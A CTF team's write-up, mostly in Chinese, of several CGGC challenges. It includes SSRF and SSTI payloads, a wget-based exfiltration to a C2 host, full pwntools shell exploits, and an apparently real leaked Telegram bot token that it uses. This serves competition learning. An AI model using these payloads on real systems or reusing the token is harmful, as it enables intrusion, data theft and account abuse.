Player:
- ywc
- MuMu
- Pierre
- AxelHowe
- ctfd
- Teamname:
i'm down QQ
- Rank: 4/121
- Solve: 10/12
There's a tag info leak
with this challenge, after we search the full 30days in iThome, we will get a telegram bot API secret
https://api.telegram.org/bot7580842046:AAEKmOz8n3C265m2_XSv8cGFbBHg7mcnbMM/sendPhoto
, which can be abused at searching history in the bot channel.
import requests
# Replace with your actual bot token
bot_token = "7580842046:AAEKmOz8n3C265m2_XSv8cGFbBHg7mcnbMM"
base_url = f"https://api.telegram.org/bot{bot_token}"
# Example 1: Get Bot Information
response = requests.get(f"{base_url}/getMe")
print("Bot Info:", response.json())
# Example 2: Get Updates (Messages sent to the bot)
response = requests.get(f"{base_url}/getUpdates")
print("Updates:", response.json())
flag: CGGC{1_h8t3_y0u_K41d0_K4zm4}
I hate fucking OSINT, too.
Source code
#!/usr/local/bin/python3
print(open(__file__).read())
flag = open('flag').read()
flag = "Got eaten by the cookie monster QQ"
inp = __import__("unicodedata").normalize("NFKC", input(">>> "))
print(dir(__import__("GoodPdb").good_breakpoint))
if any([x in "._." for x in inp]) or inp.__len__() > 55:
print('bad hacker')
else:
print(
eval(inp, {"__builtins__": {}}, {
'breakpoint': __import__('GoodPdb').good_breakpoint})
)
print(flag)
Code in comment mention that it's patched from the other source, so let's diff to check the changelog.
--- origin.py 2024-11-02 14:51:02.053995600 +0800
+++ GoodPdb.py 2024-11-02 15:31:57.380265900 +0800
@@ -1,7 +1,8 @@
-#!/usr/bin/python3.10 -W ignore
import pdb
class GoodPdb(pdb.Pdb):
+
+
def cmdloop(self, intro=None):
"""Repeatedly issue a prompt, accept input, parse an initial prefix
off the received input, and dispatch to action methods, passing them
@@ -38,7 +39,11 @@
else:
if self.use_rawinput:
try:
- line = input(self.prompt)
+ """
+ no interactive!
+ """
+ # line = input(self.prompt)
+ line = "EOF"
except EOFError:
line = 'EOF'
else:
@@ -60,3 +65,12 @@
readline.set_completer(self.old_completer)
except ImportError:
pass
+
+ def do_interact(self, arg):
+ """
+ no interactive!
+ """
+ pass
+
+
+good_breakpoint = GoodPdb().set_trace
Modified version cancelled the interactive loop with user, so we need to interactive with breakpoint in another way.
First important section mentioned in python3.14 document, breakpoint allow to input debugger commands without interactive with raw_input.
Second, we have no built-in functions to use, so top priority is to escape the eval function.
- Use
n;;n
to get out the position of eval local frame, notice eval is divied to 2 lines so we should next 2 steps j 4
back to above read flagn
for executing read flagp flag
get theflag
variable in current frame.
BTW, this YouTube video describes technology details about pdb from the python core developer gaotian
.
flag 在 filesystem 的 /flag
/fetch
有 SSRF 漏洞,但會檢查 url 前綴是不是 http://previewsite/
,看起來繞不過
if not url.startswith(os.getenv("DOMAIN", "http://previewsite/")):
raise ValueError('badhacker')
resp = send_request(url)
不過 request 可以接受 redirect,因此開始思考網站有沒有 open redirect 之類的漏洞
def send_request(url, follow=True):
try:
response = urllib.request.urlopen(url)
except urllib.error.HTTPError as e:
response = e
redirect_url = response.geturl()
if redirect_url != url and follow:
return send_request(redirect_url, follow=False)
return response.read().decode('utf-8')
login 有 open redirect 漏洞,但是要用 POST 打 username 和 password,難以利用
@app.route('/login', methods=['GET', 'POST'])
def login():
next_url = request.args.get('next', url_for('index'))
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
if users.get(username) == password:
session['username'] = username
flash('login success')
return redirect(next_url)
else:
error = 'login failed'
return render_template('login.html', error=error, next=next_url)
return render_template('login.html', next=next_url)
可利用的點在 logout,一樣是 open redirect 漏洞,不過可以使用 GET
@app.route('/logout')
def logout():
session.pop('username', None)
next_url = request.args.get('next', url_for('index'))
return redirect(next_url)
payload: http://previewsite/logout?next=file:///flag
CGGC{open_redirect_to_your_local_file_2893hrgiubf3wq1}
source:
<?php
function proxy($service) {
// $service = "switchrange";
// $service = "previewsite";
// $service = "越獄";
$requestUri = $_SERVER['REQUEST_URI'];
$parsedUrl = parse_url($requestUri);
$port = 80;
if (isset($_GET['port'])) {
$port = (int)$_GET['port'];
} else if ($_COOKIE["port"]) {
$port = (int)$_COOKIE['port'];
}
setcookie("service", $service);
setcookie("port", $port);
$ch = curl_init();
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$filter = '!$%^&*()=+[]{}|;\'",<>?_-/#:.\\@';
$fixeddomain = trim(trim($service, $filter).".cggc.chummy.tw:".$port, $filter);
$fixeddomain = idn_to_ascii($fixeddomain);
$fixeddomain = preg_replace('/[^0-9a-zA-Z-.:_]/', '', $fixeddomain);
curl_setopt($ch, CURLOPT_URL, 'http://'.$fixeddomain.$parsedUrl['path'].'?'.$_SERVER['QUERY_STRING']);
curl_exec($ch);
curl_close($ch);
}
if (!isset($_GET['service']) && !isset($_COOKIE["service"])) {
highlight_file(__FILE__);
} else if (isset($_GET['service'])) {
proxy($_GET['service']);
} else {
proxy($_COOKIE["service"]);
}
在 args 中可以設定 service, port 等做 SSRF,但 service 只能指定 cggc.chummy.tw
底下的 subdomain
漏洞的點在 idn_to_ascii
函式,實際測試發現超過 url 大小 (63 字元) 時回傳值會是空的,因此就會變成存取 http:///<path>?<querystring>
設定 path 為要存取的網站,即可 SSRF
payload: /secretweb/flag?service=<一個很長的字串>
CGGC{1Dn_7O_45c11_5o_57R4n9E_11fc26f06c33e83f65ade64679dc0e58}
@app.route('/SsTiMe', methods=['GET'])
def showip():
# WOW! There has a SSTI in Flask!!!
q = request.args.get('q', "'7'*7")
# prevent smuggling bad payloads!
request.args={}
request.headers={}
request.cookies={}
request.data ={}
request.query_string = b"#"+request.query_string
if any([x in "._.|||" for x in q]) or len(q) > 88:
return "Too long for me :/ my payload less than 73 chars"
res = render_template_string(f"{{{{{q}}}}}",
# TODO: just for debugging, remove this in production
breakpoint=breakpoint,
str=str
)
# oops, I just type 'res' not res qq
return 'res=7777777'
題目要求
- 不能使用
.
_
|
- 長度 <= 88
- 清空 request 部分資訊
- python3.140a1
因為在 render_template 中允許使用 breakpoint,而 3.14.0a1 的 breakpoint 中可以使用 commands
指定執行的 breakpoint command,可以在裡面執行 python
一個做法是在裡面用 os.system,但因為長度限制和沒有回顯的關係,因此採用 wget
下載 sh 指令碼執行 (沒有 nc
, curl
等,因此無法直接 nc 送結果出去)
下載指令 payload (<ip>
的地方是 C2 的 IP,點使用 \x2e
bypass filter):
/SsTiMe?q=breakpoint(commands=["import os;os\x2esystem('wget <ip>:8000/y');;c"])
C2 server (<ip>
的地方是 C2 的 IP):
from flask import Flask, request
app = Flask(__name__)
@app.route('/y')
def hello_world():
return 'wget --post-file=`ls /f*` <ip>:8081'
if __name__ == '__main__':
app.run('0.0.0.0', 8000)
執行指令
/SsTiMe?q=breakpoint(commands=["import os;os\x2esystem('sh y');;c"])
CGGC{breakpoint_is_a_biiiig_gadget_oj237rpwd3i2}
如果遇到長度問題可以用八進位的形式減少使用 \x2e
或是用重覆寫檔構建 script
這題其實就是實作了 lz77 壓縮演算法,用 IDA 觀察會做壓縮並替換部分的 byte,重複兩次
所以只要將替換 byte 的部分還原,且實作解壓縮的部分,就會得到一串 base64 編碼,解碼後就會是一張 png 圖片
import base64
def base64_to_png(base64_str, output_file):
if base64_str.startswith('data:image/png;base64,'):
base64_str = base64_str.split(',')[1]
image_data = base64.b64decode(base64_str)
with open(output_file, 'wb') as f:
f.write(image_data)
def decompress(compressed_data, num_entries):
output = []
output_pos = 0
for i in range(0, num_entries):
# Extract the distance, length, and next character from the compressed data
offset = int.from_bytes(compressed_data[i * 12:i * 12 + 4], 'little') # Distance to match
length = int.from_bytes(compressed_data[i * 12 + 4:i * 12 + 8], 'little') # Length of match
next_char = compressed_data[i * 12 + 8: i * 12 + 9].decode('utf-8') # Next unmatched character
if length == 0:
# No match, just add the literal character
output.append(next_char)
output_pos += 1
else:
# Copy match from the output using the offset
for _ in range(length):
start_index = output_pos - offset
output.append(output[start_index])
output_pos += 1
# Append the next character after match
if next_char != '':
output.append(next_char)
output_pos += 1
return ''.join(output)
def assemble_hex(data:str) -> bytes:
output = ""
for i in range(0, len(data), 10):
b1 = data[i:i+2]
b2 = data[i+2:i+4]
b3 = data[i+4:i+6]
b4 = data[i+6:i+8]
b5 = data[i+8:i+10]
output += f"{b2}{b1}0000{b4}{b3}0000{b5}000000"
return bytes.fromhex(output)
if __name__ == "__main__":
f = open("./test.txt", "r").read().split("Output Data: ")[1]
print("len(f): ", len(f))
print("f: ", f)
if len(f) % 10 != 0:
print('error: len(f) % 10 != 0')
exit(0)
tmp2 = assemble_hex(f)
decomp2 = decompress(tmp2, len(tmp2) // 12)
print('decomp2: ')
print(decomp2)
decomp2 = decomp2[:-1] # 好像後面有多餘的字元
print('len(decomp2): ', len(decomp2))
if len(decomp2) % 10 != 0:
print('error: len(decomp2) % 10 != 0')
exit(0)
tmp = assemble_hex(decomp2)
decomp = decompress(tmp, len(tmp) // 12)
print('decomp: ')
print(decomp)
base64_string = decomp
output_filename = 'flag.png'
base64_to_png(base64_string, output_filename)
# CGGC{G00d_n3w5_Y0ur3_n0t_l4zy!}
程式是用 il2cpp 包的,可以用 https://github.com/djkaty/Il2CppInspector 拆,但拆出來沒有 source code 只有 structure,因此要進一步分析
有一個 checkstring utfqqa7by/VSLA28KYr2W9rsheykILbRStSNO09I5E3elYlOAn3gTwjLOG27TuVzccgx+JMO
,推測是 ciphertext
另外在 level 0 裡面有發現 key 和 iv,長度對得上 chacha20 的設定
雖然有 ciphertext、key 和 iv,但是無法解密,可能在程式中使用改過的 chacha20 算法
解法是使用參考 frida bridge hook 上面的函式,將 flag 設定回去,由於 chacha20 是對稱式加密的關係因此加密等同於解密,將變數指定好之後做加密即可拿到明文
注意輸入的大小要跟 checkstring 的 54 一樣長,不然 buffer 大小不同會壞掉
其餘 function 主要是動態追蹤使用到的 function
Test script
import "frida-il2cpp-bridge";
Il2Cpp.perform(() => {
/* dump all function calls */
/*
Il2Cpp.trace()
.assemblies(Il2Cpp.domain.assembly('Assembly-CSharp'))
.and()
.attach();
//*/
/* dump encryption related function calls and their arguments / return values */
/*
Il2Cpp.trace(true)
.assemblies(Il2Cpp.domain.assembly('Assembly-CSharp'))
.filterClasses(klass => klass.name == 'Calcer')
.and()
.attach();
//*/
//*
const mscorlib = Il2Cpp.domain.assembly("mscorlib").image;
const AssembyCSharp = Il2Cpp.domain.assembly('Assembly-CSharp').image;
const Calcer = AssembyCSharp.class("Calcer");
const CalcerWorkBytes = Calcer.method<void>("WorkBytes");
const flag = [186,215,234,169,174,219,203,245,82,44,13,188,41,138,246,91,218,236,133,236,164,32,182,209,74,212,141,59,79,72,228,77,222,149,137,78,2,125,224,79,8,203,56,109,187,78,229,115,113,200,49,248,147,14];
//*/
// @ts-ignore
//*
CalcerWorkBytes.implementation = function(output: Il2Cpp.Array, input: Il2Cpp.Array, numBytes: number): void {
for (let i = 0; i < numBytes; ++i) {
input.set(i, flag[i]);
}
this.method<void>("WorkBytes").invoke(output, input, numBytes);
console.log(output);
}
//*/
});
根據題目以及 strings 結果推論 flash.bin
為 ESP-IDF 框架的 firmware,利用修改後的 esp32_image_parser 可以 dump 出三個 partition 其中 nvs
與 phy_init
為空,固 factory
為分析之重點。
利用 ghidra 逆向的結果可由 a very secure string
字串追回推論是 handle get request path 的函式部分
FUN_400d8dcc
就是解 flag 的位置
DAT_3f41015c = b'\x02\x06\x06\x02\x3a\x28\x71\x35\x1e\x20\x33\x72\x1e\x37\x24\x33\x38\x1e\x32\x24\x22\x34\x33\x24\x3c\x00\x00\x00'
與 'A' xor 就可以解出 flag
CGGC{i0t_ar3_very_secure}
程式有三個功能 input opcode
, execute opcode
和 exit
input opcode 會要求讀入有多少 opcode 和每個指令,儲存指令的 ptr 會使用 malloc 生成,比較特別的是如果做 input opcode 要求的大小與上次不同,則會進行 free 再 malloc
execute opcode 會讀取先前輸入的指令,並根據 opcode 做相關的行為,包含 register, memory, stack 之類的操作
bye 的部分是單純的 free,沒有真的離開程式
程式保護全開
漏洞的點在於 0xc
和 0xd
的 opcode (push, pop) 沒有檢查 sp_4050
是不是超出範圍,可以進行 OOB read / write
global variable 的 layout 大概長這樣
.data:0000000000004000 _data
.data:0000000000004008 __dso_handle
LOAD:0000000000004010 ???
.bss:0000000000004020 stdout@@GLIBC_2_2_5
.bss:0000000000004028 <align>
.bss:0000000000004030 stdin@@GLIBC_2_2_5
.bss:0000000000004038 <align>
.bss:0000000000004040 stderr@@GLIBC_2_2_5
.bss:0000000000004048 completed_8061
.bss:0000000000004050 sp_4050
.bss:0000000000004058 <align>
.bss:0000000000004060 mem dq 1000h
.bss:000000000000C060 ops
.bss:000000000000C068 ptr
.bss:000000000000C070 <align>
.bss:000000000000C080 reg dq 100h
.bss:000000000000C880 stack dq 1000h
在 stdin
, stdout
, stderr
的地方可以讀取到 libc 上的位置,在 ptr
上可以讀取到 heap 上的位置,在 __dso_handle
可以讀取到 data 區段上的位置,可以使用前面的 OOB read 來 leak
當有了 codebase, libcbase,可以得出 libc freehook
與 stack
的位置,就可以透過修改 sp_4050
變成相對的 offset 使得下一次做 push stack 的 opcode 時可以修改 freehook 的值,寫成 system,並觸發 free,即可 get shell
策略整理如下
- OOB read,leak
ptr
拿 heapbase (雖然事後發現不需要) - OOB read,leak
stdout
和__dso_handle
,得到 libcbase, codebase,並將sp_4050
調整到sp_4050
的 offset - 把
sp_4050
改成 free hook 的 offset,寫 free hook - 觸發 free_hook
以下是完整的 exploit
from pwn import *
binary = "./chal"
context.terminal = ["cmd.exe", "/c", "start", "bash.exe", "-c"]
context.log_level = "debug"
context.binary = binary
conn = remote("10.99.66.2", 1337)
# conn = process(binary)
# conn = gdb.debug(binary, "set solib-search-path ./libc.so.6")
def read_opcode(size, data):
conn.sendlineafter(b'> ', b'1')
conn.sendlineafter(b'Size: ', str(size).encode())
conn.recvuntil(b'Opcodes: ')
for d in data:
conn.sendline(str(d).encode())
def execute_opcode():
conn.sendlineafter(b'> ', b'2')
# chunk1 (leak ptr)
pop_r0 = u64(b'\x00\x00\x00\x00\x0d\x00\x00\x00'[::-1])
push_r1 = u64(b'\x00\x00\x00\x00\x0c\x00\x00\x01'[::-1]) # ops
print_r0 = u64(b'\x00\x00\x00\x00\x0b\x00\x00\x00'[::-1])
set_r1_265 = [
u64(b'\x00\x00\x00\x00\x00\x01\x00\xff'[::-1]), # set r1 255
u64(b'\x00\x00\x00\x00\x00\x02\x00\x0a'[::-1]), # set r2 10
u64(b'\x00\x00\x00\x00\x01\x01\x01\x02'[::-1]), # add r1, r1, r2
]
context.log_level = "info"
read_opcode(260+1+3+1, [pop_r0] * 260 + [print_r0] + set_r1_265 + [push_r1])
context.log_level = "debug"
execute_opcode()
leak = int(conn.recvline().strip().decode().split(":")[1]) # heap
print(f"leak: {hex(leak)}")
heapbase = leak - 0x2d0
print(f"heapbase: {hex(heapbase)}")
# chunk2 (leak libc, codebase)
pop_r0 = u64(b'\x00\x00\x00\x00\x0d\x00\x00\x00'[::-1])
pop_r1 = u64(b'\x00\x00\x00\x00\x0d\x00\x00\x01'[::-1])
pop_r2 = u64(b'\x00\x00\x00\x00\x0d\x00\x00\x02'[::-1])
pop_r3 = u64(b'\x00\x00\x00\x00\x0d\x00\x00\x03'[::-1])
pop_r4 = u64(b'\x00\x00\x00\x00\x0d\x00\x00\x04'[::-1])
push_r1 = u64(b'\x00\x00\x00\x00\x0c\x00\x00\x01'[::-1]) # stderr
push_r2 = u64(b'\x00\x00\x00\x00\x0c\x00\x00\x02'[::-1]) # stdin
push_r3 = u64(b'\x00\x00\x00\x00\x0c\x00\x00\x03'[::-1]) # stdout
push_r4 = u64(b'\x00\x00\x00\x00\x0c\x00\x00\x04'[::-1]) # __dso_handle
push_r128 = u64(b'\x00\x00\x00\x00\x0c\x00\x00\x80'[::-1]) # always 0
print_r3 = u64(b'\x00\x00\x00\x00\x0b\x00\x00\x03'[::-1])
print_r4 = u64(b'\x00\x00\x00\x00\x0b\x00\x00\x04'[::-1])
context.log_level = "info"
read_opcode(0x1003+7+5+10,
[pop_r0] * 0x1003 +
[pop_r0, pop_r0, pop_r1, pop_r0, pop_r2, pop_r0, pop_r3] +
[pop_r0, pop_r0, pop_r4, print_r4, print_r3] +
[push_r128, push_r4, push_r128, push_r128, push_r3, push_r128, push_r2, push_r128, push_r1, push_r128]
)
context.log_level = "debug"
execute_opcode()
leak = int(conn.recvline().strip().decode().split(":")[1]) # bss
print(f"leak: {hex(leak)}")
codebase = leak - 0x4008
print(f"codebase: {hex(codebase)}")
leak = int(conn.recvline().strip().decode().split(":")[1]) # stdout
print(f"leak: {hex(leak)}")
libcbase = leak - 0x1ed6a0
print(f"libcbase: {hex(libcbase)}")
# chunk3 (modify free_hook)
print_r1 = u64(b'\x00\x00\x00\x00\x0b\x00\x00\x01'[::-1])
push_r1 = u64(b'\x00\x00\x00\x00\x0c\x00\x00\x01'[::-1])
def build_reg1(value) -> list:
out = []
value_base256 = []
while value:
value_base256.append(value & 0xff)
value >>= 8
out.append(u64(b'\x00\x00\x00\x00\x00\x01\x00\x00'[::-1])) #mov r1, 0
for i,val in enumerate(value_base256):
out.append(u64((b'\x00\x00\x00\x00\x00\x02\x00' + bytes([val]))[::-1])) #mov r2, val
out.append(u64((b'\x00\x00\x00\x00\x00\x03\x00' + bytes([i*8]))[::-1])) #mov r3, i*8
out.append(u64(b'\x00\x00\x00\x00\x05\x02\x02\x03'[::-1])) #lshift r2, r2, r3
out.append(u64(b'\x00\x00\x00\x00\x01\x01\x01\x02'[::-1])) #add r1, r1, r2
return out
# push to modify sp
free_hook = libcbase + 0x1eee48
stack = codebase + 0xc880
system = libcbase + 0x52290
build_reg1_0xdeadbeef = build_reg1((free_hook - stack) // 8)
build_reg1_system = build_reg1(system)
context.log_level = "info"
read_opcode(1 + len(build_reg1_0xdeadbeef) + 1 + 1 + len(build_reg1_system) + 1,
[u64(b'/bin/sh\x00')] +
build_reg1_0xdeadbeef + [push_r1] + [print_r0] + build_reg1_system + [push_r1])
context.log_level = "debug"
execute_opcode()
# chunk4 (next chunk)
conn.sendlineafter(b'> ', b'1')
conn.sendlineafter(b'Size: ', str(4).encode())
conn.interactive()
CGGC{00b_l3ak_and_0v3rwr1t3_h00k}
題目一開始就給 printf 的 address,直接省略了 leak libc 的步驟,而且還可以輸入任一 address,再用 fget 接收長度 224 的 input,可以任意位置寫入
一開始是在想有沒有機會用 one_gadget 拿到 shell 權限,但感覺機率不大就沒有嘗試
後來我是先用 gdb 查看 vmmap 中 libc 的 rw-
(可寫) 區段,看看有沒有什麼可以修改的東西,就看到有 libc GOT 表可寫,就想到好像可以改寫 libc 的 GOT 表
參考 HackTricks 也有提到可以改寫 strlen 的 GOT 表去指向 system function,且題目在 fget 之後也剛好有 call 到 puts function
Strlen2system Another common technique is to overwrite the
strlen
GOT address to point tosystem
, so if this function is called with user input it's posisble to pass the string"/bin/sh"
and get a shell. Moreover, ifputs
is used with user input, it's possible to overwrite thestrlen
GOT address to point tosystem
and pass the string"/bin/sh"
to get a shell becauseputs
will callstrlen
with the user input.
不過就算可以改寫到 strlen 的 GOT 表,但卻沒有 /bin/sh 可以當參數,所以又卡了一陣子,後來發現了這個 GitHub repo 說明了達成 libc 任意寫後,如何改寫 GOT 表,直接拿到 shell 權限,且檢查題目的 libc 版本也剛好 <= 2.35,
題目有限制 payload 的長度,但還是可以直接用 repo 裡面給的 fx3 的 template 去 get shell
但我之前對 libc 的 GOT 表不太熟悉,用 gdb 觀察也是一堆 <*ABS*@got.plt>
,看不出個所以然,所以我就用 gdb 分析,直接 si 進入 puts 觀察 strlen 的 GOT 在哪個 address
下面這行就是在 call strlen function,繼續 si 就能找到 GOT 的 address
0x7f9c5e95de63 <puts+19> call 0x7f9c5e905490 *ABS*+0xa86a0@plt
# 繼續 si 應該會看到這個,這個 098 結尾的就是 strlen 的 GOT address
# 這樣就能知道跟 GOT base address 的 offset 了
0x7f9c5eaf7098 *ABS*@got.plt
這時就能修改 fx3 的參數 pos = 16,就能剛剛好蓋到 0x7f9c5eaf7098,只要 call puts 就能進入 strlen 再進入 system function,觸發 ROP get shell 了
import re
from pwn import *
context.arch='amd64'
p = process('./chal',env={"LD_PRELOAD":"./libc.so.6"})
libc = ELF('./libc.so.6')
# p = remote('10.99.66.3',31337)
base = int(p.readline(),16) - libc.symbols['printf']
libc.address = base
success(hex(base))
class ROPgadget():
def __init__(self,libc: ELF,base=0):
if Path("./gadgets").exists():
print("[!] Using gadgets, make sure that's corresponding to the libc!")
else:
fp = open("./gadgets",'wb')
subprocess.run(f"ROPgadget --binary {libc.path}".split(" "),stdout=fp)
fp.close()
fp = open("./gadgets",'rb')
data = fp.readlines()[2:-2]
data = [x.strip().split(b" : ") for x in data]
data = [[int(x[0],16),x[1].decode()] for x in data]
fp.close()
self.gadgets = data
self.base = base
def search(self,s):
for addr,ctx in self.gadgets:
match = re.search(s, ctx)
if match:
return addr+self.base
return None
def fx3(libc,pos = 1, rop_chain=[],nudge=0):
#
# nudge to align stack
assert(pos>=1)
assert(pos<=36)
got = libc.address + libc.dynamic_value_by_tag("DT_PLTGOT")
plt0 = libc.address + libc.get_section_by_name(".plt").header.sh_addr
rop = ROPgadget(libc,libc.address)
escape = rop.search(r"^pop rsp .*jmp rax")
pivot = rop.search(r"^pop rsp ; ret")
rop_chain += [escape,got+0x3000-nudge*8]
rop_len = len(rop_chain)
if pos <= rop_len:
# We can shrink it but make it more complex
payload = flat([got+0x18+pos*8,pivot])+flat([0]*(pos-1))+p64(plt0)+flat(rop_chain)
else:
# We can shrink it but make it more complex
payload = flat([got+0x18,pivot])+flat(rop_chain)+flat([0]*(pos-rop_len))+p64(plt0)
return got+0x08,payload
rop = ROP(libc)
rdi = rop.find_gadget(["pop rdi",'ret'])[0]
rax = rop.find_gadget(["pop rax",'ret'])[0]
rop_chain = [rdi,libc.search(b"/bin/sh").__next__(),rax,libc.sym["system"]]
dest, payload = fx3(libc,16,rop_chain,1)
success(hex(dest))
success(hex(len(payload)))
p.sendline((hex(dest)))
p.sendline(payload)
p.interactive()
# CGGC{0ne_sh0t_14_4ll_y0u_nEEd!}